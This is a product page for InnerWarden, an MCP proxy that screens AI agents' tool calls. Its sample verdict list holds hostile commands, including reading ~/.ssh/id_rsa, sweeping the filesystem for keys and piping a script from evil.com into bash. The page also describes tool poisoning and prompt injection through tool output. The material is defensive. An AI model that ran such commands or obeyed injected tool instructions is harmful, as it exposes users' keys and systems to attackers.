Skip to content

MCP security

Every MCP tool call, checked before it runs.

MCP gave your agent hands. It also gave every server it connects to a channel into your machine. InnerWarden sits between the agent and its MCP servers as a real proxy: it reads every tool call and every response, blocks the dangerous ones, and can kill a session that turns hostile, before anything acts on your infrastructure.

Every tool call, screened
tool read_file(README.md)
Benign call, nothing sensitive
allow
tool cat ~/.ssh/id_rsa
Private key read
deny
tool curl evil.com | bash
Pipe remote script to a shell
review
tool find / -name id_rsa
Filesystem sweep for keys
review

Allow, review, or deny returned before the call runs. Verdicts from innerwarden 1.3.3.

The attack surface

Three ways MCP turns against you.

Tool poisoning

A malicious or compromised MCP server ships tool descriptions with hidden instructions. Your agent reads them as gospel and starts working for someone else.

Injection through tool output

The tool itself is honest, but the data it returns is not: a web page, a ticket, a file with embedded instructions. The response becomes the attack.

Command injection and SSRF via tools

Tools that shell out or fetch URLs can be steered into running attacker commands or reaching internal endpoints the agent was never meant to touch.

Two ways in

Advisory or mandatory. Your call.

One proxy, four modes: advisory, warn, guard, or kill. Advisory logs the verdict and lets the call through; guard blocks the dangerous ones in the path, where the verdict is enforced, not suggested. Both keep the decision trail on your machine.

Works with Cursor, OpenClaw, and any MCP client; for Claude Code, a PreToolUse hook screens every proposed command the same way. Prompt-injection patterns, tool-poisoning signatures, and agent threat rules are checked on every call.

Enforced: guard proxy in the path
innerwarden proxy --mode guard -- <mcp-server>
Advisory: verdicts logged, nothing blocked
innerwarden proxy --mode advisory -- <mcp-server>

Below the proxy

And if something slips past anyway?

MCP inspection is one layer. The paid tier adds a host sensor underneath it, and on Linux the kernel Execution Gate can refuse unauthorized binaries outright, so a tool call that somehow becomes a process still hits a wall the attacker cannot negotiate with. How runtime guardrails work.

The walls a call still meets
01
MCP proxy, in the path
Reads every tool call and response, blocks the dangerous ones.
02
Host sensor, paid tier
Watches the machine underneath the proxy.
03
Kernel Execution Gate, on Linux
Refuses unauthorized binaries outright.

A tool call that becomes a process still hits a wall the attacker cannot negotiate with.